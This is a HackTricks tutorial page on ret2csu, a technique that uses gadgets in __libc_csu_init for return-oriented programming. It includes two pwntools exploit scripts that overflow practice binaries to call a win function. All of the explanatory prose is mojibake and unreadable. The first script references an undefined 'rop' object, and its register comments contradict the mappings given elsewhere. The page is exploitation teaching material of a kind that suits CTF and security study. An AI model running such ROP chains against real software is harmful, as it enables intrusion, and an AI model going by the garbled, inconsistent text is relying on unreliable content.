Ret2csu

Support HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfрдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

ret2csu рдПрдХ рд╣реИрдХрд┐рдВрдЧ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ gadgets рдирд╣реАрдВ рдорд┐рд▓рддреЗред

рдЬрдм рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ (рдЬреИрд╕реЗ libc) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рдмрд╛рддрдЪреАрдд рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХрд╛рд░реНрдп рд╣реЛрддреЗ рд╣реИрдВред рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рдХреБрдЫ рдЫрд┐рдкреЗ рд╣реБрдП рд░рддреНрди рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рдЧрд╛рдпрдм gadgets рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдХ рдЬрд┐рд╕реЗ __libc_csu_init рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

__libc_csu_init рдореЗрдВ рдЬрд╛рджреБрдИ gadgets

__libc_csu_init рдореЗрдВ, рджреЛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо (gadgets) рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВ:

  1. рдкрд╣рд▓рд╛ рдЕрдиреБрдХреНрд░рдо рд╣рдореЗрдВ рдХрдИ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ (rbx, rbp, r12, r13, r14, r15) рдореЗрдВ рдорд╛рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рдРрд╕реЗ рд╕реНрд▓реЙрдЯ рдХреА рддрд░рд╣ рд╣реЛрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╣рдо рдмрд╛рдж рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдЦреНрдпрд╛рдПрдБ рдпрд╛ рдкрддреЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

рдпрд╣ рдЧреИрдЬреЗрдЯ рд╣рдореЗрдВ рдЗрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реНрдЯреИрдХ рд╕реЗ рдорд╛рдиреЛрдВ рдХреЛ рдкреЙрдк рдХрд░рдХреЗред

  1. рджреВрд╕рд░рд╛ рдЕрдиреБрдХреНрд░рдо рдЙрди рдорд╛рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╣рдордиреЗ рд╕реЗрдЯ рдХрд┐рдП рд╣реИрдВ, рдХреБрдЫ рдЪреАрдЬреЗрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

  • рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдиреЛрдВ рдХреЛ рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рд╡реЗ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛ рдЬрд╛рдПрдВред

  • рдПрдХ рд╕реНрдерд╛рди рдкрд░ рдХреЙрд▓ рдХрд░реЗрдВ рдЬреЛ r15 рдФрд░ rbx рдореЗрдВ рдорд╛рдиреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдХрд░, рдлрд┐рд░ rbx рдХреЛ 8 рд╕реЗ рдЧреБрдгрд╛ рдХрд░рдХреЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. рд╢рд╛рдпрдж рдЖрдк рд╡рд╣рд╛рдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдкрддрд╛ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдФрд░ рдЖрдкрдХреЛ ret рдирд┐рд░реНрджреЗрд╢ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рджреВрд╕рд░рд╛ рдЧреИрдЬреЗрдЯ рднреА ret рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

рд╢рд░реНрддреЗрдВ рд╣реЛрдВрдЧреА:

  • [r12 + rbx*8] рдХреЛ рдПрдХ рдкрддрд╛ рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдПрдХ рдХреЙрд▓ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ (рдпрджрд┐ рдХреЛрдИ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХреЛрдИ рдкрд╛рдИ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдмрд╕ _init рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ):

  • рдпрджрд┐ _init 0x400560 рдкрд░ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП GEF рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ рдФрд░ [r12 + rbx*8] рдХреЛ _init рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░ рдХреЗ рд╕рд╛рде рдкрддрд╛ рдмрдирд╛рдПрдВ:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gefтЮд  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  тЖТ   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  тЖТ   "\x60\x05\x40[...]"
  • rbp рдФрд░ rbx рдХрд╛ рдорд╛рди рд╕рдорд╛рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдХреВрдж рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ

  • рдХреБрдЫ рдЫреЛрдбрд╝реЗ рдЧрдП рдкреЙрдк рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП

RDI рдФрд░ RSI

rdi рдФрд░ rsi рдХреЛ ret2csu рдЧреИрдЬреЗрдЯ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рд╡рд┐рд╢реЗрд╖ рдСрдлрд╕реЗрдЯреНрд╕ рддрдХ рдкрд╣реБрдВрдЪрдирд╛:

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

рдЙрджрд╛рд╣рд░рдг

рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдПрдХ syscall рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдпрд╛ write() рдЬреИрд╕реА рдХрд┐рд╕реА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди rdx рдФрд░ rsi рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рдорд╛рди рдЪрд╛рд╣рд┐рдПред рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдЖрдк рдЙрди рдЧреИрдЬреЗрдЯреНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдЗрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд╕реАрдзреЗ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк рдХреЛрдИ рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВред

рдпрд╣рд╛рдВ ret2csu рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ:

  1. рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: рдкрд╣рд▓реЗ рдЬрд╛рджреБрдИ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ рдорд╛рдиреЛрдВ рдХреЛ рдкреЙрдк рдХрд░реЗрдВ рдФрд░ rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), рдФрд░ r15 рдореЗрдВ рдбрд╛рд▓реЗрдВред

  2. рджреВрд╕рд░реЗ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: рдЙрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рджреВрд╕рд░реЗ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдЪреБрдиреЗ рд╣реБрдП рдорд╛рдиреЛрдВ рдХреЛ rdx рдФрд░ rsi (рдХреНрд░рдорд╢рдГ r14 рдФрд░ r13 рд╕реЗ) рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рддреИрдпрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, r15 рдФрд░ rbx рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ, рдЖрдк рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдк рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдФрд░ [r15 + rbx*8] рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВред

рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдЗрд╕реЗ рдпрд╣рд╛рдВ рд╕рдордЭрд╛рддреЗ рд╣реБрдП рд╣реИ, рдФрд░ рдпрд╣ рдЕрдВрддрд┐рдо рд╢реЛрд╖рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЗрд╕рдиреЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп RCE рдХрд░рдирд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рдВрдХреНрд╢рди win рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИ (ROP рдЪреЗрди рдореЗрдВ win рдХрд╛ рдкрддрд╛ stdin рд╕реЗ рдХреЙрд▓ рдХрд░рддреЗ рд╣реБрдП рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдФрд░ рдЗрд╕реЗ r15 рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рдирд╛) рддреАрд╕рд░реЗ рддрд░реНрдХ рдХреЗ рд╕рд╛рде рдЬрд┐рд╕рдХрд╛ рдорд╛рди 0xdeadbeefcafed00d рд╣реИред

рдХреЙрд▓ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдФрд░ ret рддрдХ рдкрд╣реБрдБрдЪрдирд╛

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЗрд╕ рдкреГрд╖реНрда рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ рдЬрд╣рд╛рдБ ret2csu рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдпрд╣ рддреБрд▓рдирд╛рдУрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдХреЙрд▓ рдХреЗ рдмрд╛рдж ret рддрдХ рдкрд╣реБрдБрдЪ рд░рд╣рд╛ рд╣реИ:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Why Not Just Use libc Directly?

рдЖрдорддреМрд░ рдкрд░ рдпреЗ рдорд╛рдорд▓реЗ ret2plt + ret2lib рдХреЗ рд▓рд┐рдП рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдЙрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реАрдзреЗ libc рдореЗрдВ рдкрд╛рдП рдЧрдП рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдЖрд╕рд╛рдиреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, write() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рддреАрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдФрд░ рдЗрди рд╕рднреА рдХреЛ рд╕реАрдзреЗ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЧреИрдЬреЗрдЯреНрд╕ рдЦреЛрдЬрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред

Support HackTricks

Last updated